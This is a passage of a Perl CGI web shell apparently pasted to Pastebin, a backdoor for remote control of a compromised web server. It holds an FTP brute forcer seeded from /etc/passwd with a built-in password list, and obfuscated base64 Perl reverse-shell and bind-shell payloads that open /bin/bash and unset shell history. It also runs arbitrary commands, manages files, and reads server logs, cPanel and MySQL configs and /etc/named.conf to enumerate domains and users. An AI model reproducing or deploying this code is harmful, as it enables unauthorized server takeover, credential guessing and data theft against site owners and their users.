  928. #------------------------------------------------------------------------------
  929. sub BruteForcerForm
  930. {
  931. my $result="";
  932. $result .= <<END;
  933.  
  934. <table>
  935.  
  936. <tr>
  937. <td colspan="2" align="center">
  938. ####################################<br>
  939. Simple FTP brute forcer<br>
  940. Note: Only scan from 1 to 3 user :-S<br>
  941. ####################################
  942. <form name="f" method="POST" action="$ScriptLocation">
  943.  
  944. <input type="hidden" name="a" value="bruteforcer"/>
  945. </td>
  946. </tr>
  947. <tr>
  948. <td>User:<br><textarea rows="18" cols="30" name="user">
  949. END
  950. chop($result .= `less /etc/passwd | cut -d: -f1`);
  951. $result .= <<'END';
  952. </textarea></td>
  953. <td>
  954.  
  955. Pass:<br>
  956. <textarea rows="18" cols="30" name="pass">123pass
  957. 123!@#
  958. 123admin
  959. 123abc
  960. 123456admin
  961. 1234554321
  962. 12344321
  963. pass123
  964. admin
  965. admincp
  966. administrator
  967. matkhau
  968. passadmin
  969. p@ssword
  970. p@ssw0rd
  971. password
  972. 123456
  973. 1234567
  974. 12345678
  975. 123456789
  976. 1234567890
  977. 111111
  978. 000000
  979. 222222
  980. 333333
  981. 444444
  982. 555555
  983. 666666
  984. 777777
  985. 888888
  986. 999999
  987. 123123
  988. 234234
  989. 345345
  990. 456456
  991. 567567
  992. 678678
  993. 789789
  994. 123321
  995. 456654
  996. 654321
  997. 7654321
  998. 87654321
  999. 987654321
  1000. 0987654321
  1001. admin123
  1002. admin123456
  1003. abcdef
  1004. abcabc
  1005. !@#!@#
  1006. !@#$%^
  1007. !@#$%^&*(
  1008. !@#$$#@!
  1009. abc123
  1010. anhyeuem
  1011. iloveyou</textarea>
  1012. </td>
  1013. </tr>
  1014. <tr>
  1015. <td colspan="2" align="center">
  1016. Sleep:<select name="sleep">
  1017.  
  1018. <option>0</option>
  1019. <option>1</option>
  1020. <option>2</option>
  1021.  
  1022. <option>3</option>
  1023. </select>
  1024. <input type="submit" value="Brute Forcer"/></td></tr>
  1025. </form>
  1026. </table>
  1027. END
  1028. return $result;
  1029. }
  1030. #------------------------------------------------------------------------------
  1031. # Brute Forcer
  1032. #------------------------------------------------------------------------------
  1033. sub BruteForcer
  1034. {
  1035. my $result="";
  1036. $Server=$ENV{'SERVER_ADDR'};
  1037. if($in{'user'} eq "")
  1038. {
  1039. $result .= &BruteForcerForm;
  1040. }else
  1041. {
  1042. use Net::FTP;
  1043. @user= split(/\n/, $in{'user'});
  1044. @pass= split(/\n/, $in{'pass'});
  1045. chomp(@user);
  1046. chomp(@pass);
  1047. $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1048. foreach $username (@user)
  1049. {
  1050. if($username ne "")
  1051. {
  1052. foreach $password (@pass)
  1053. {
  1054. $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1055. if($ftp->login("$username","$password"))
  1056. {
  1057. $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1058. $ftp->quit();
  1059. break;
  1060. }
  1061. if($in{'sleep'} ne "0")
  1062. {
  1063. sleep(int($in{'sleep'}) * 1000);
  1064. }
  1065. $ftp->quit();
  1066. }
  1067. }
  1068. }
  1069. $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1070. }
  1071. return $result;
  1072. }
  1073. #------------------------------------------------------------------------------
  1074. # Backconnect Form
  1075. #------------------------------------------------------------------------------
  1076. sub BackBindForm
  1077. {
  1078. return <<END;
  1079. <br><br>
  1080.  
  1081. <table>
  1082. <tr>
  1083. <form name="f" method="POST" action="$ScriptLocation">
  1084. <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1085. <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1086. Port: <input type="text" size="6" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1087.  
  1088. <td><input name="s" type="submit" name="submit" value="Connect"></td>
  1089. </form>
  1090. </tr>
  1091. <tr>
  1092. <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1093. <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1094. <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1095.  
  1096. </tr>
  1097. </table>
  1098.  
  1099. <br><br>
  1100. <table>
  1101. <tr>
  1102. <form method="POST" action="$ScriptLocation">
  1103. <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1104.  
  1105. <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1106.  
  1107. Password: <input type="text" size="12" name="bindpass" value="vinakid"></td>
  1108. <td><input name="s" type="submit" name="submit" value="Bind"></td>
  1109. </form>
  1110. </tr>
  1111. <tr>
  1112. <td colspan=3><font color=#FFFFFF>[+] Testing ....
  1113. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1114.  
  1115. </tr>
  1116. </table><br>
  1117. END
  1118. }
  1119. #------------------------------------------------------------------------------
  1120. # Backconnect use perl
  1121. #------------------------------------------------------------------------------
  1122. sub BackBind
  1123. {
  1124. use Socket;
  1125. $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1126. $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1127.  
  1128. $ClientAddr = $in{'clientaddr'};
  1129. $ClientPort = int($in{'clientport'});
  1130. if($ClientPort eq 0)
  1131. {
  1132. return &BackBindForm;
  1133. }elsif(!$ClientAddr eq "")
  1134. {
  1135. $Data=decode_base64($backperl);
  1136. if(-w "/tmp/")
  1137. {
  1138. $File="/tmp/backconnect.pl";
  1139. }else
  1140. {
  1141. $File=$CurrentDir.$PathSep."backconnect.pl";
  1142. }
  1143. open(FILE, ">$File");
  1144. print FILE $Data;
  1145. close FILE;
  1146. system("perl $File $ClientAddr $ClientPort");
  1147. unlink($File);
  1148. exit 0;
  1149. }else
  1150. {
  1151. $Data=decode_base64($bindperl);
  1152. if(-w "/tmp")
  1153. {
  1154. $File="/tmp/bindport.pl";
  1155. }else
  1156. {
  1157. $File=$CurrentDir.$PathSep."bindport.pl";
  1158. }
  1159. open(FILE, ">$File");
  1160. print FILE $Data;
  1161. close FILE;
  1162. system("perl $File $ClientPort");
  1163. unlink($File);
  1164. exit 0;
  1165. }
  1166. }
  1167. #------------------------------------------------------------------------------
  1168. # Array List Directory
  1169. #------------------------------------------------------------------------------
  1170. sub RmDir($)
  1171. {
  1172. my $dir = shift;
  1173. if(opendir(DIR,$dir))
  1174. {
  1175. while($file = readdir(DIR))
  1176. {
  1177. if(($file ne ".") && ($file ne ".."))
  1178. {
  1179. $file= $dir.$PathSep.$file;
  1180. if(-d $file)
  1181. {
  1182. &RmDir($file);
  1183. }
  1184. else
  1185. {
  1186. unlink($file);
  1187. }
  1188. }
  1189. }
  1190. closedir(DIR);
  1191. }
  1192. }
  1193. sub FileOwner($)
  1194. {
  1195. my $file = shift;
  1196. if(-e $file)
  1197. {
  1198. ($uid,$gid) = (stat($file))[4,5];
  1199. if($WinNT)
  1200. {
  1201. return "???";
  1202. }
  1203. else
  1204. {
  1205. $name=getpwuid($uid);
  1206. $group=getgrgid($gid);
  1207. return $name."/".$group;
  1208. }
  1209. }
  1210. return "???";
  1211. }
  1212. sub ParentFolder($)
  1213. {
  1214. my $path = shift;
  1215. my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1216. chop($path = `$Comm`);
  1217. return $path;
  1218. }
  1219. sub FilePerms($)
  1220. {
  1221. my $file = shift;
  1222. my $ur = "-";
  1223. my $uw = "-";
  1224. if(-e $file)
  1225. {
  1226. if($WinNT)
  1227. {
  1228. if(-r $file){ $ur = "r"; }
  1229. if(-w $file){ $uw = "w"; }
  1230. return $ur . " / " . $uw;
  1231. }else
  1232. {
  1233. $mode=(stat($file))[2];
  1234. $result = sprintf("%04o", $mode & 07777);
  1235. return $result;
  1236. }
  1237. }
  1238. return "0000";
  1239. }
  1240. sub FileLastModified($)
  1241. {
  1242. my $file = shift;
  1243. if(-e $file)
  1244. {
  1245. ($la) = (stat($file))[9];
  1246. ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1247. $y = $y + 1900;
  1248. @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1249. $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1250. return $lmtime;
  1251. }
  1252. return "???";
  1253. }
  1254. sub FileSize($)
  1255. {
  1256. my $file = shift;
  1257. if(-f $file)
  1258. {
  1259. return -s "$file";
  1260. }
  1261. return "0";
  1262. }
  1263. sub ParseFileSize($)
  1264. {
  1265. my $size = shift;
  1266. if($size <= 1024)
  1267. {
  1268. return $size. " B";
  1269. }
  1270. else
  1271. {
  1272. if($size <= 1024*1024)
  1273. {
  1274. $size = sprintf("%.02f",$size / 1024);
  1275. return $size." KB";
  1276. }
  1277. else
  1278. {
  1279. $size = sprintf("%.2f",$size / 1024 / 1024);
  1280. return $size." MB";
  1281. }
  1282. }
  1283. }
  1284. sub trim($)
  1285. {
  1286. my $string = shift;
  1287. $string =~ s/^\s+//;
  1288. $string =~ s/\s+$//;
  1289. return $string;
  1290. }
  1291. sub AddSlashes($)
  1292. {
  1293. my $string = shift;
  1294. $string=~ s/\\/\\\\/g;
  1295. return $string;
  1296. }
  1297. sub TrimSlashes($)
  1298. {
  1299. my $string = shift;
  1300. $string=~ s/\/\//\//g;
  1301. $string=~ s/\\\\/\\/g;
  1302. return $string;
  1303. }
  1304. sub ListDir
  1305. {
  1306. my $path = &TrimSlashes($CurrentDir.$PathSep);
  1307. my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1308. if(-d $path)
  1309. {
  1310. my @fname = ();
  1311. my @dname = ();
  1312. if(opendir(DIR,$path))
  1313. {
  1314. while($file = readdir(DIR))
  1315. {
  1316. $f=$path.$file;
  1317. if(-d $f)
  1318. {
  1319. push(@dname,$file);
  1320. }
  1321. else
  1322. {
  1323. push(@fname,$file);
  1324. }
  1325. }
  1326. closedir(DIR);
  1327. }
  1328. @fname = sort { lc($a) cmp lc($b) } @fname;
  1329. @dname = sort { lc($a) cmp lc($b) } @dname;
  1330. $result .= "<div><table width='90%' class='listdir'>
  1331. <tr style='background-color: #3e3e3e'><th>File Name</th>
  1332. <th width='100'>File Size</th>
  1333. <th width='150'>Owner</th>
  1334. <th width='100'>Permission</th>
  1335. <th width='150'>Last Modified</th>
  1336. <th width='230'>Action</th></tr>";
  1337. my $style="notline";
  1338. my $i=0;
  1339. foreach my $d (@dname)
  1340. {
  1341. $style= ($style eq "line") ? "notline": "line";
  1342. $d = &trim($d);
  1343. $dirname=$d;
  1344. if($d eq "..")
  1345. {
  1346. $d = &ParentFolder($path);
  1347. }
  1348. elsif($d eq ".")
  1349. {
  1350. next;
  1351. }
  1352. else
  1353. {
  1354. $d = $path.$d;
  1355. }
  1356. $result .= "<tr class='$style'><td id='File_$i' class='dir'><a href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  1357. $result .= "<td>DIR</td>";
  1358. $result .= "<td>".&FileOwner($d)."</td>";
  1359. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1360. $result .= "<td>".&FileLastModified($d)."</td>";
  1361. $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">Rename</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Remove</a></td>";
  1362. $result .= "</tr>";
  1363. $i++;
  1364. }
  1365. foreach my $f (@fname)
  1366. {
  1367. $style= ($style eq "line") ? "notline": "line";
  1368. $file=$f;
  1369. $f = $path.$f;
  1370. my $action = encode_base64("edit ".$file);
  1371. $view = "?dir=".$path."&view=".$f;
  1372. $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  1373. $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1374. $result .= "<td>".&FileOwner($f)."</td>";
  1375. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1376. $result .= "<td>".&FileLastModified($f)."</td>";
  1377. $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Remove</a></td>";
  1378. $result .= "</tr>";
  1379. $i++;
  1380. }
  1381. $result .= "</table></div>";
  1382. }
  1383. return $result;
  1384. }
  1385. #------------------------------------------------------------------------------
  1386. # Try to View List User
  1387. #------------------------------------------------------------------------------
  1388. sub ViewDomainUser
  1389. {
  1390. open (d0mains, '/etc/named.conf') or $err=1;
  1391. my @cnzs = <d0mains>;
  1392. close d0mains;
  1393. my $style="line";
  1394. my $result="<h3><font style='font: 15pt Verdana;color: #ff9900;'>Domain + User</font></h3>";
  1395. if ($err)
  1396. {
  1397. $result .= ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1398. return $result;
  1399. }else
  1400. {
  1401. $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  1402. }
  1403. foreach my $one (@cnzs)
  1404. {
  1405. if($one =~ m/.*?zone "(.*?)" {/)
  1406. {
  1407. $style= ($style eq "line") ? "notline": "line";
  1408. $filename= trim("/etc/valiases/".$1);
  1409. $owner = getpwuid((stat($filename))[4]);
  1410. $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
  1411. }
  1412. }
  1413. $result .= '</table>';
  1414. return $result;
  1415. }
  1416. #------------------------------------------------------------------------------
  1417. # View Log
  1418. #------------------------------------------------------------------------------
  1419. sub ViewLog
  1420. {
  1421. $EncodeCurrentDir = EncodeDir($CurrentDir);
  1422. if($WinNT)
  1423. {
  1424. return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1425. }
  1426. my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1427. my @pathlog=( '/usr/local/apache/logs/error_log',
  1428. '/usr/local/apache/logs/access_log',
  1429. '/usr/local/apache2/conf/httpd.conf',
  1430. '/var/log/httpd/error_log',
  1431. '/var/log/httpd/access_log',
  1432. '/usr/local/cpanel/logs/error_log',
  1433. '/usr/local/cpanel/logs/access_log',
  1434. '/usr/local/apache/logs/suphp_log',
  1435. '/usr/local/cpanel/logs',
  1436. '/usr/local/cpanel/logs/stats_log',
  1437. '/usr/local/cpanel/logs/access_log',
  1438. '/usr/local/cpanel/logs/error_log',
  1439. '/usr/local/cpanel/logs/license_log',
  1440. '/usr/local/cpanel/logs/login_log',
  1441. '/usr/local/cpanel/logs/stats_log',
  1442. '/var/cpanel/cpanel.config',
  1443. '/usr/local/php/lib/php.ini',
  1444. '/usr/local/php5/lib/php.ini',
  1445. '/var/log/mysql/mysql-bin.log',
  1446. '/var/log/mysql.log',
  1447. '/var/log/mysqlderror.log',
  1448. '/var/log/mysql/mysql.log',
  1449. '/var/log/mysql/mysql-slow.log',
  1450. '/var/mysql.log',
  1451. '/var/lib/mysql/my.cnf',
  1452. '/etc/mysql/my.cnf',
  1453. '/etc/my.cnf',
  1454. );
  1455. my $i=0;
  1456. my $perms;
  1457. my $sl;
  1458. foreach my $log (@pathlog)
  1459. {
  1460. if(-r $log)
  1461. {
  1462. $perms="OK";
  1463. }else
  1464. {
  1465. $perms="<font style='color: red;'>Cancel<font>";
  1466. }
  1467. $result .=<<END;
  1468. <tr>
  1469.  
  1470. <form action="" method="post" onSubmit="Encoder('log$i')">
  1471. <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  1472. <td><input type="submit" value="Try" /></td>
  1473. <input type="hidden" name="a" value="command" />
  1474. <input type="hidden" name="d" value="$EncodeCurrentDir" />
  1475. </form>
  1476. <td>$perms</td>
  1477.  
  1478. </tr>
  1479. END
  1480. $i++;
  1481. }
  1482. $result .="</table>";
  1483. return $result;
  1484. }
  1485. #------------------------------------------------------------------------------
  1486. # Main Program - Execution Starts Here
  1487. #------------------------------------------------------------------------------
  1488. &ReadParse;
  1489. &GetCookies;
  1490.  
  1491. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1492. $ServerName = $ENV{'SERVER_NAME'};
  1493. $LoginPassword = $in{'p'};
  1494. $RunCommand = decode_base64($in{'c'});
  1495. $TransferFile = $in{'f'};
  1496. $Options = $in{'o'};
  1497. $Action = $in{'a'};
  1498.  
  1499. $Action = "command" if($Action eq ""); # no action specified, use default
  1500.  
  1501. # get the directory in which the commands will be executed
  1502. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  1503. # mac dinh xuat thong tin neu ko co lenh nao!
  1504. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1505. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1506.  
  1507. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1508.  
  1509. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  1510. {
  1511. &PerformLogin;
  1512. }elsif($Action eq "gui") # GUI directory
  1513. {
  1514. &PrintPageHeader("d");
  1515. if(!$WinNT)
  1516. {
  1517. $chmod=int($in{'chmod'});
  1518. if($chmod ne 0)
  1519. {
  1520. $chmod=int($in{'chmod'});
  1521. $file=$CurrentDir.$PathSep.$TransferFile;
  1522. if(chmod($chmod,$file))
  1523. {
  1524. print "<run> Done! </run><br>";
  1525. }else
  1526. {
  1527. print "<run> Sorry! You dont have permissions! </run><br>";
  1528. }
  1529. }
  1530. }
  1531. $rename=$in{'rename'};
  1532. if($rename ne "")
  1533. {
  1534. if(rename($TransferFile,$rename))
  1535. {
  1536. print "<run> Done! </run><br>";
  1537. }else
  1538. {
  1539. print "<run> Sorry! You dont have permissions! </run><br>";
  1540. }
  1541. }
  1542. $remove=$in{'remove'};
  1543. if($remove ne "")
  1544. {
  1545. $rm = $CurrentDir.$PathSep.$remove;
  1546. if(-d $rm)
  1547. {
  1548. &RmDir($rm);
  1549. }else
  1550. {
  1551. if(unlink($rm))
  1552. {
  1553. print "<run> Done! </run><br>";
  1554. }else
  1555. {
  1556. print "<run> Sorry! You dont have permissions! </run><br>";
  1557. }
  1558. }
  1559. }
  1560. print &ListDir;
  1561.  
  1562. }
  1563. elsif($Action eq "command") # user wants to run a command
  1564. {
  1565. &PrintPageHeader("c");
  1566. print &ExecuteCommand;
  1567. }
  1568. elsif($Action eq "save") # user wants to save a file
  1569. {
  1570. &PrintPageHeader;
  1571. if(&SaveFile($in{'data'},$in{'file'}))
  1572. {
  1573. print "<run> Done! </run><br>";
  1574. }else
  1575. {
  1576. print "<run> Sorry! You dont have permissions! </run><br>";
  1577. }
  1578. print &ListDir;
  1579. }elsif($Action eq "upload") # user wants to upload a file
  1580. {
  1581. &PrintPageHeader("c");
  1582. print &UploadFile;
  1583. }elsif($Action eq "backbind") # user wants to back connect or bind port
  1584. {
  1585. &PrintPageHeader("clientport");
  1586. print &BackBind;
  1587. }elsif($Action eq "bruteforcer") # user wants to brute force
  1588. {
  1589. &PrintPageHeader;
  1590. print &BruteForcer;
  1591. }elsif($Action eq "download") # user wants to download a file
  1592. {
  1593. print &DownloadFile;
  1594. }elsif($Action eq "checklog") # user wants to view log file
  1595. {
  1596. &PrintPageHeader;
  1597. print &ViewLog;
  1598.  
  1599. }elsif($Action eq "domainsuser") # user wants to view list user/domain
  1600. {
  1601. &PrintPageHeader;
  1602. print &ViewDomainUser;
  1603. }elsif($Action eq "logout") # user wants to logout
  1604. {
  1605. &PerformLogout;
  1606. }
  1607. &PrintPageFooter;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!